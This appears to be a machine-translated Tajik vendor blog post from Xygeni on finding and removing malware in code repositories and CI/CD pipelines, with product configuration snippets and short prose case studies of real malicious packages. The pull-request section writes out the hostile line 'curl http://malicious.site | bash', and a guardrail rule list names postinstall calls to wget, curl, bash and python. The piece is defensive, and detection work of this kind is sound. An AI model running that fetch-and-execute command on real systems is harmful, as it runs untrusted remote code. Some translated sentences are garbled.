Чӣ тавр аз нармафзори зараровар халос шудан мумкин аст

Чӣ тавр аз нармафзори зараровар дар Codebase-и худ халос шудан мумкин аст ва Pipelines

Нармафзори зараровар дигар на танҳо нуқтаҳои ниҳоиро ҳадаф қарор медиҳад, балки дар вобастагиҳои кушодаасоси шумо пинҳон мешавад. CI/CD корҳо ва ҳатто скриптҳои пас аз насб. Ҳамлагарон медонанд, ки таҳиягарон зуд ҳаракат мекунанд ва онҳо аз ин суръат истифода мебаранд. Аз ин рӯ, агар шумо барои муайян кардани нармафзори зараровар барвақт омода нашуда бошед, шумо аллакай дар хатар ҳастед. Маҳз аз ҳамин сабаб фаҳмидан чӣ гуна нармафзори зарароварро тафтиш кардан мумкин аст, чӣ гуна аз нармафзори зараровар халос шудан мумкин аст, ва донистани воқеият мисолҳои нармафзори зараровар барои нармафзори зараровар на танҳо муфид аст, балки муҳим аст.

Дар ин дастур, мо мефаҳмем, ки чӣ гуна таҳдидҳоро барвақт муайян кардан, онҳоро пеш аз иҷро шуданашон боздоштан ва онҳоро аз пойгоҳи рамзи шумо нест кардан мумкин аст ва pipelineбарои хубӣ. Илова бар ин, мо мефаҳмонем, ки чӣ гуна нармафзори зарароварро бидуни суст кардани интиқол аз он дур нигоҳ дорем.

Чӣ тавр нармафзори зарароварро пеш аз ба истеҳсолот ворид шудан тафтиш кардан мумкин аст

Чӣ тавр нармафзори зарароварро тафтиш кардан мумкин аст ин танҳо рӯйхати санҷиши амниятӣ нест. Ин як стратегияи пайваста аст, ки барвақт оғоз мешавад ва дар тамоми ... кор мекунад. pipelineНармафзори зараровар одатан хомӯшона тавассути a ворид мешавад. вобастагии транзитӣ, скрипти пас аз насб нодида гирифташуда ё қадами нодуруст танзимшудаи сохтмон. Барои масдуд кардани самараноки он, ба шумо лозим аст аёнӣ дар ҳар як қабат: манбаъ, вобастагиҳо ва рафтори вақти иҷро. Ин аст, ки чӣ тавр нармафзори зарароварро барвақт, пайваста ва ба таври худкор бо истифода аз Xygeni тафтиш кардан мумкин аст.

1. Пеш аз насб кардани ягон чиз, регистрҳоро скан кунед

Аксари зарароварҳои имрӯза бо ... оғоз мешаванд вобастагӣ дорадДар асл, ҳамлагарон аксар вақт бастаҳои зарароварро бо номҳое бор мекунанд, ки ба китобхонаҳои маъмул монанданд. Инҳо аксар вақт дар ... безарар ба назар мерасанд. package.json or requirements.txt, то он даме, ки онҳо иҷро кунанд.

Xygeni's Системаи огоҳии пешакӣ регистрҳоро ба монанди npm, PyPI, Maven ва Docker Hub пайваста назорат мекунад. Он ҳар як версияи нави бастаро аз лаҳзаи нашр таҳлил мекунад. Мо ҷустуҷӯ мекунем:

  • Скриптҳои насби шубҳанок (setup.py, postinstall, install.sh)
  • Коди печида (blobs base64, сатрҳои рамзгузоришуда, истифодаи eval)
  • Зангҳои ғайричашмдошти шабакавӣ ҳангоми насб
  • Typosquat қолибҳои номгузорӣ

Ғайр аз ин, агар шумо як yarn install, npm i, ё pip install, ва яке аз бастаҳо қайд карда шудааст, агар шумо истифода баред, Xygeni онро ба таври худкор масдуд мекунад Guardrails ё ҳамгироии CI.

✅ Маслиҳати касбӣ барои таҳиягарон: Агар шумо омӯхта истода бошед чӣ гуна нармафзори зарароварро тафтиш кардан мумкин аст дар вақти воқеӣ, шумо метавонед бастаҳои қайдшударо мустақиман дар dashboard ё огоҳиҳоро ба Slack ё Teams тавассути webhook ҳангоми вобастагӣ дар шумо насб кунед SBOM рафтори нармафзори зараровари маълум ё шубҳанокро нишон медиҳад.

2. Кодро дар Git Repos пеш аз якҷоя шуданаш скан кунед

Чӣ тавр нармафзори зарароварро тафтиш кардан мумкин аст аз сканкунии бастаҳо фаротар меравад. Баъзе нармафзори зараровар аз вобастагиҳои тарафи сеюм намеоянд. Баръакс, он аст commitмустақиман ба рамзи сарчашма ворид карда мешавад. Ин асрори сахт рамзгузоришуда, скриптҳои шубҳанок ё порчаҳои нусхабардорӣшуда аз абзорҳои зеҳни сунъӣ ё форумҳо ба монанди StackOverflow. Барои муайян кардани ин хатарҳо пеш аз паҳн шуданашон, Xygeni ҳар як commit ва pull request барои мантиқи пинҳон, намунаҳои ноамн ва рамзи зараровар.

Бо Xygeni's Ҳамгироии GitHub, ҳар як тела ё pull request метавонад ангеза диҳад:

  • SAST сканҳо барои борҳои рамзгузоришуда ё печида
  • Ошкоркунии махфӣ бо тасдиқ ва бекоркунӣ
  • Таҳлили дастрасӣ барои санҷидани он, ки оё рамзи шубҳанок воқеан иҷрошаванда аст ё не
  • Муайян кардани аномалия барои нишон додани тағйирот дар файлҳои инфрасурх, скриптҳои shell ва конфигуратсияҳои CI

Шумо метавонед Xygeni-ро ба GitHub Actions ё GitLab CI пайваст кунед, то PR-ҳоро ба таври худкор скан кунед. Бо ин роҳ, агар касе скрипти осебдидаро тела диҳад ё Dockerfile, сканкунӣ фавран оғоз мешавад ва агар он вайрон шавад, муттаҳидсозиро масдуд мекунад. Guardrails.

Парвандаи истифода: Агар як PR муаррифӣ кунад curl http://malicious.site | bash, Xygeni ҳангоми кӯшиши якҷояшавӣ - пеш аз он ки он ба main расад - сохтмонро қайд мекунад ва онро вайрон мекунад.

3. Сканкунии нармафзори зарароварро маҷбур кунед CI/CD Pipelines

Ҳатто агар шумо қаблан чизеро аз даст дода бошед ҳам, CI имконияти охирини шумо барои боздоштани нармафзори зараровар пеш аз ҷойгиркунӣ аст. Xygeni ба ҳамаи абзорҳои асосии CI муттаҳид мешавад: GitHub Actions, Гуглаб, Ҷенкинс, Bitbucket, Azure DevOps.

Пас аз илова кардан, Xygeni ҳар як корро барои инҳо скан мекунад:

  • Беэътимод Боргирии or гирифтани борҳои муфид
  • Хавфнок фармонҳои shell or мантиқи печида дар скриптҳо
  • Дуӣ ё тағйир додани ашёи ғайбӣ (масалан, файлҳои имзонашуда ё хэшҳое, ки мувофиқат намекунанд SBOM)
  • Зангҳои шабакавӣ ҳангоми сохтмон ё озмоиш

Шумо метавонед сканерро бо фармони оддии CLI ё контейнери Docker насб кунед ва онро барои кор дар марҳилаҳои сохтан, озмоиш ё ҷойгиркунӣ танзим кунед.

				
					# GitHub Actions example
- name: Scan for malware
  uses: xygeni/xygeni-action@v1
  env:
    XYGENI_API_KEY: ${{ secrets.XYGENI_API_KEY }}

				
			

Илова бар ин, агар нармафзори зараровар ошкор карда шавад, шумо метавонед сохторҳоро ба таври худкор вайрон кунед:

				
					fail_on: malware
block_on: postinstall + base64 + external_url

				
			

Pro Маслиҳат: илова кардан --xygeni-check ба сохтани пешакӣ hooks дар CI, то шумо тавонед насбҳои бадро пеш аз тавлиди контейнерҳо ё файлҳои дуӣ боздоред.

4. Истифода кунед Guardrails Барои манъ кардани нармафзори зараровари маълум ва номаълум

Чӣ гуна санҷидани самараноки нармафзори зараровар дар муҳити истеҳсолӣ на танҳо сканҳои оддиро талаб мекунад. Барои татбиқи қонун дар сатҳи истеҳсолӣ, Xygeni пешниҳод мекунад урфу одат Guardrails ки ба шумо имкон медиҳад, ки пешакӣ муайян кунедcisсиёсатҳои e барои бастани сохторҳо дар асоси рафтор, сатҳи хатар ё намуди файл.

Шумо метавонед қоидаҳоро ба монанди инҳо муқаррар кунед:

  • Ҳама гуна бастаро бо postinstall даъвати скрипт wget, curl, bash, python
  • Агар код дохил кунад, сохторҳоро қатъ кунед eval() ё воридоти динамикӣ аз тағйирёбанда
  • Парчами commitки тағйир медиҳанд .github/workflows/* агар тасдиқ нашуда бошад

Ксигенӣ Guardrails ҳам дар Git (ҳангоми муттаҳидшавӣ) ва ҳам дар CI/CD (ҳангоми сохтан). Агар қоида вайрон карда шавад, сохтан ё якҷоякунӣ ба таври худкор масдуд карда мешавад ва таҳиягар сабаби возеҳ мегирад.

Ҳаракати пешрафта: сохтан Guardrails ки танҳо ба роҳҳои ҳассосияти баланд татбиқ мешаванд, ба монанди infra/, scripts/, ё build/, ва барои аз нав дида баромадани тағйирот тасдиқ талаб мекунанд.

Маслиҳати ниҳоӣ: Сканкунӣ SBOMs барои хатари нармафзори зараровар

Xygeni инчунин шуморо скан мекунад Нақшаи маводҳои нармафзор (SBOM) то дақиқ пайгирӣ кардани он чизе, ки ба сохтори шумо ворид шудааст ва ҳар як ҷузъро аз рӯи рафтори нармафзори зараровар, хатари иҷозатномадиҳӣ ва холҳои амниятӣ тафтиш кунад.

Шумо метавонед тавлид кунед SBOMs бо CycloneDX, SPDX ё Syft ва онҳоро барои назорати пайваста ба Xygeni бор кунед.

SBOM сканкунӣ ба шумо кӯмак мекунад:

  • Мушкилоти занҷираи таъминотро муайян кунед
  • Таъмини сохтани такроршаванда
  • Гузариш аз аудитҳои танзимкунанда (масалан, Қонун дар бораи муқовимати киберӣ дар ИА, Фармони иҷроияи ИМА 14028)

Воситаҳои беҳтаринро барои барвақт дастгир кардани зараровар омӯзед

Дастури моро барои беҳтарин воситаҳои муайянкунии нармафзори зараровар барои соли 2025 санҷед.

Хониши марбут:

Намунаҳои нармафзори зарароваре, ки ба воқеият таъсир мерасонанд Pipelineс (Аз рӯи намуд)

Барои дарки ҳақиқат чӣ гуна нармафзори зарароварро тафтиш кардан мумкин аст, он ба омӯзиш мусоидат мекунад мисолҳои нармафзори зараровар барои нармафзори зараровар ки ба ҳақиқат расид pipelineс. Дар зер, мо таҳдидҳоро аз рӯи намуд гурӯҳбандӣ кардем ва шарҳ додем, ки чӣ гуна ҳар яки онҳо кор мекунанд ва чӣ гуна Xygeni ба онҳо дар масдуд кардани онҳо кӯмак мекунад.

Труданҳо

Труданҳо вонамуд мекунанд, ки бастаҳои муфиданд. Пас аз насб, онҳо рамзи зарароварро дар замина иҷро мекунанд. Масалан, бастаҳои npm discordyt ва distube-config ба модулҳои қонунии Discord монанд буданд. Дар асл, онҳо як троянеро, ки эътимодномаҳо, сессияҳои браузер ва маълумоти системаро дуздидааст, партофтанд. Агар шумо пинкунии версияро амалӣ накунед ё имзоҳоро тасдиқ накунед, троянҳо ба монанди инҳо метавонанд пинҳонӣ ворид шаванд.

Қафо

Қафо барои ҳамлагарон нуқтаҳои дастрасии пинҳон эҷод кунед. Яке аз ҷиддитарин мисолҳои нармафзори зараровар ин буд CVE-2024-3094, куҷо liblzma Китобхонаи фишурдасозӣ барои убур аз аутентификатсияи SSH аз дари пуштӣ истифода шуд. Дар асл, файли дуӣ тағйирёфта ба якчанд версияҳо ворид шуд. Хушбахтона, бо ошкор кардани аномалияҳо ба монанди сканкунии якпорчагии файлҳои Xygeni, шумо тағиротро хеле пеш аз ҷойгиркунӣ пай мебурдед.

Криптодуздон

Мисоли дигари нармафзори зараровар дуздони крипто мебошанд. Криптодуздон сирри махфиро ба монанди кукиҳо, токенҳои сессия ва калидҳои ҳамён хориҷ кунед. Нармафзори зараровар бо номи bladeroid маҳз ҳамин тавр кард. Он дар бастаҳои npm ҷойгир карда шуда, маълумоти дуздидашударо пинҳонӣ ба нуқтаҳои ниҳоии аз ҷониби ҳамлагарон идорашаванда бор мекард. Системаи огоҳкунии барвақти Xygeni онро пеш аз зеркашӣ кардани таҳиягарон пайдо кард.

Мастҳо

Мастҳо боркунакҳои хурде мебошанд, ки пас аз корандозӣ нармафзори зараровари пешрафтаро мекушоянд. Масалан, якчанд бастаҳои PyPI-и ахир истифода шудаанд setup.py барои фаъол кардани зеркашиҳои дурдасти пӯст пас аз насб. Агар шумо pipeline рафтори насбро тафтиш намекунад, инҳо метавонанд хомӯшона кор кунанд. Xygeni насбро таҳлил мекунад hooks, зангҳои шабакавиро қайд мекунад ва дропперро пеш аз паҳн шуданаш бозмедорад.

Нармафзори зараровари печида

Нармафзори зараровари печида ниятро бо истифода аз ҳилаҳо ба монанди тақсим кардани сатр ё base64 пинҳон мекунад. Баъзе бастаҳои қалбакӣ ҳатто ҳамчун китобхонаҳои амниятӣ муаррифӣ карда мешаванд. Онҳо бо пинҳон кардани мантиқ дар дохили воридоти динамикӣ ошкоркуниро ба таъхир меандозанд. Бо вуҷуди ин, Xygeni-SAST мантиқро барои ошкор кардани борҳои дарунсохт, ҳатто дар якчанд файл, деобфускасия ва таҳлил мекунад. Ин ҳамлаҳои бар пояи обфускасия асосёфта баъзе аз душвортаринҳоянд. мисолҳои нармафзори зараровар барои нармафзори зараровар бе таҳлили статикӣ сайд кардан.

Дар маҷмӯъ, ин мисолҳои нармафзори зараровар исбот мекунанд, ки ҳеҷ як қисми шумо нест pipeline манъ аст. Барои таъмини амнияти воқеии ҷараёни кор, таҳиягарон бояд донанд, ки чӣ тавр зуд аз нармафзори зараровар халос шаванд ва ҳама чизро, хусусан он чизеро, ки дар аввал бехатар ба назар мерасид, тафтиш кунанд.

Чӣ тавр аз нармафзори зараровар пас аз ошкор шудан халос шудан мумкин аст

Ҳатто бо ошкоркунии қавӣ, нармафзори зараровар метавонад аз он гузарад. Шояд ин як dropper-и рӯзи сифр буд. Шояд як саҳмгузор бехабар вобастагии сироятшударо тела додааст. Новобаста аз ин, донистани он ки чӣ гуна зуд ва бехатар аз нармафзори зараровар халос шудан мумкин аст, муҳим аст. Ин аст, ки чӣ тавр Xygeni ба шумо дар бартараф кардани таҳдидҳо аз лаҳзаи пайдо шуданашон кӯмак мекунад, бо истифода аз пешакӣ.cisион ва автоматизатсия.

1. Таҳдидро фавран карантин кунед: баррасии дастӣ лозим нест

Пас аз муайян кардани нармафзори зараровар, онро дар ҷои худ маҳфуз доред. Аз ин ҷо донистани он ки чӣ гуна самаранок аз нармафзори зараровар халос шудан мумкин аст, оғоз мешавад. Системаи огоҳкунии барвақтии Xygeni Он фавран амал мекунад. Он бастаҳои зарароварро аз лаҳзаи қайд кардани онҳо карантин мекунад.

Он ин бастаҳоро аз ҳама контекстҳои сохташуда хориҷ мекунад, насбҳои ояндаро масдуд мекунад ва рӯйхатҳои сиёҳро ҳам дар сатҳи реестр ва ҳам дар сатҳи лоиҳа татбиқ мекунад.

Агар шумо аз феҳристи бастаҳои хусусӣ истифода баред, Xygeni карантинро дар тамоми ташкилоти шумо паҳн мекунад. Хулоса, вақте ки Xygeni бастаро ҳамчун зараровар қайд мекунад, ҳеҷ як даста наметавонад онро дар ягон ҷо дубора истифода барад.

Pro Маслиҳат: Ҳангоми ҷорӣ кардани карантин аз ҷониби Xygeni, огоҳиҳои вақти воқеиро фаъол созед, то огоҳиҳои Slack ё Jira-ро ба дастаи худ фиристед.

2. Сохтмонро ба таври худкор бо он вайрон кунед Guardrails

Боздоштани нармафзори зараровар на танҳо огоҳиҳо, балки ... аст иҷрои автоматӣ. Дар он ҷо Xygeni Guardrails биёед. Шумо метавонед пешакӣ муайян кунедcisсиёсатҳои электронӣ ба монанди:

				
					fail_on: malware
block_if: postinstall + base64 + external_url

				
			

Ин қоидаҳо ба шумо имкон медиҳанд, ки сохторҳоро фавран ноком кунед, агар:

  • Вобастагӣ нишондиҳандаҳои рафториро ба вуҷуд меорад
  • Код мантиқи печидаро дар бар мегирад
  • Асрорҳо дар он пайдо мешаванд commit таърих
  • Файлҳои дуӣ ё скриптҳои номаълум ворид мешаванд pipeline

Шумо метавонед фарогирӣ кунед Guardrails аз рӯи анбор, шоха, шиддат ё роҳи файл, ки ба шумо назорати дақиқ медиҳад. Муҳимтар аз ҳама, таҳиягарон мустақиман дар гузоришҳои CI ё шарҳҳои PR-и худ фикру мулоҳизаҳои возеҳ ва контекстӣ мегиранд.

Guardrails на танҳо ошкоркунӣ, балки муҳофизати автоматикунонидашуда мебошанд, ки миқёспазиранд.

3. Сирри фошшударо дар вақти воқеӣ бекор кунед

Бисёре аз маъракаҳои зараровар барои гирифтани сирри зерин равона шудаанд: эътимодномаҳои абрӣ, токенҳои API, GitHub OAuths. Агар шумо нармафзори зарароварро муайян кунед, шумо бояд фикр кунед, ки чизе фош шудааст.

Амнияти махфии Xygeni модул:

  • Таърихи Git-ро барои махфиятҳои воридшуда ба таври дастӣ ё тавассути нармафзори зараровар скан мекунад
  • Тасдиқ мекунад, ки оё сирҳо ҳанӯз фаъоланд ё не
  • Бо истифода аз интегратсияҳои дарунсохт, онҳоро ба таври худкор бекор ва гардон мекунад

Шумо хулосаи пурраро мегиред, ки дар он нишон дода шудааст:

  • Кадом сирҳо ошкор шуданд
  • Онҳо дар куҷо дар Кодекс зиндагӣ мекарданд
  • Кадом чораҳои ислоҳӣ андешида шуданд (бекор карда шуданд, иваз карда шуданд, иваз карда шуданд)

Бе ҷадвалҳои электронӣ. Бе тахмин. Бе сӯхторхомӯшкунӣ.

4. Вобастагии зарароварро худкор ислоҳ кунед, тоза ва бехатар

Агар нармафзори зараровар тавассути бастаи осебпазир ё осебпазир ворид шуда бошад, қадами навбатии шумо ислоҳи он аст. Ислоҳи худкори Xygeni Муҳаррик ба шумо кӯмак мекунад, ки мушкилотро зуд ҳал кунед, бе хатари нав.

Он таҳлил мекунад:

  • Кадом версияҳо тозаанд
  • Оё ин ислоҳ CVE-ҳои навро муаррифӣ мекунад?
  • Агар ягон тағйироти фаврӣ ба сохтмони шумо таъсир расонад

Сипас он як ҷузъи омода барои якҷояшавӣ эҷод мекунад pull request, танҳо ба ҷузъҳои зарардида маҳдуд карда шудааст.

				
					xygeni autofix --target package.json --apply

				
			

Шумо навсозиҳои тозаро бидуни ягон тахмин, танҳо навсозиҳои бехатар ва тасдиқшуда мегиред.

5. Ҳодисаро аз куҷо пайгирӣ кунед Commit ба артефакт

Ниҳоят, донистани чӣ гуна халос шудан аз нармафзори зараровар инчунин маънои фаҳмидани он чизеро, ки рӯй додааст ва қодир будан ба исботи он аст, дорад. Xygeni тавассути маълумоти тасдиқкунӣ атрибути пурраи ҳодиса ва пайгирии сохтмонро пешниҳод мекунад.

Барои ҳар гуна ҳодисаи нармафзори зараровар, шумо метавонед инҳоро пайгирӣ кунед:

  • Дар Рафтааст commit ё PR ки ҷузъро муаррифӣ кард
  • Дар CI/CD қадам он аз он гузашт
  • Дар тасвирҳо ё ашёҳои дигар он ба замин фуруд омад
  • Новобаста аз он ки буд имзо, скан ва тасдиқшуда

Ин ба шумо ҳарду медиҳад намоёнии сабаби аслӣ ва далели судӣ, барои аудитҳои дохилӣ, гузоришҳои риояи қоидаҳо ё вокуниш ба ҳодисаҳо муҳим аст.

Xygeni мӯҳрҳои вақтро муайян мекунад, бехатарӣ мебахшад ва ҳамаи пайраҳаҳои аудитиро пурра содиршаванда мегардонад.

Дар маҷмӯъ, ин қадамҳо ба дастаи шумо нақшаи пурра ва автоматии вокуниш медиҳанд. Аз лаҳзаи қайд кардани таҳдид то лаҳзаи ислоҳ ва пайгирии он, Xygeni ба шумо нишон медиҳад, ки чӣ гуна аз нармафзори зараровар дар пойгоҳи рамзи шумо халос шавед ва pipelineс. Шумо дигар таҳти фишор вокуниш нишон намедиҳед, шумо бо назорат ва пешакӣ вокуниш нишон медиҳедcisион ва эътимод ҳар дафъа.

Барвақт муайян кунед. Зуд амал кунед. Барои некӣ монеъ шавед.

Нармафзори зараровар суст намешавад ва амнияти шумо низ набояд суст шавад. Тавре ки шумо дар тӯли ин паём дидед, донистан чӣ гуна нармафзори зарароварро тафтиш кардан мумкин аст дар пойгоҳи рамзи шумо ва CI/CD ҷараёнҳои корӣ хатти аввали дифоъ аст. Муҳимтар аз ҳама, шумо фаҳмидед чӣ гуна аз нармафзори зараровар халос шудан мумкин аст пас аз ошкор шудан, бехатар ва зуд, бе вайрон кардани сохторҳо ё фишори баланди дастаи шумо.

Мо инчунин аз воқеият гузаштем мисолҳои нармафзори зараровар барои нармафзори зараровар ки дақиқ нишон медиҳанд, ки чӣ гуна ҳамлагарон абзорҳои таҳиягар, феҳристҳои кушодаасос ва скриптҳои автоматикунониро истифода мебаранд.

Бо Xygeni, шумо метавонед:

  • Таҳдидҳоро дар саросари худ муайян кунед pipelineс дар вақти воқеӣ
  • Иҷрои Guardrails ки танаффус бар рафтори зараровар асос ёфтааст
  • Сирҳои фошшударо ба таври худкор бекор кунед
  • Бо истифода аз AutoFix бастаҳои зараровар ё осебпазирро ислоҳ кунед
  • Ҳар як ҳодисаро аз код пайгирӣ кунед commit ба асари истеҳсолӣ

Хулоса, шумо аз тозакунии реактивӣ ба пешгирии пешгирикунанда мегузаред.

Озмоиши ройгони худро оғоз кунед:  бе корти кредитӣ, бе ягон мушкилот. Танҳо биноҳои тоза ва оромии хотир. Ё намоиш намоиши барои дидани он ки чӣ тавр Xygeni бо стеки мавҷудаи шумо муттаҳид мешавад.

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni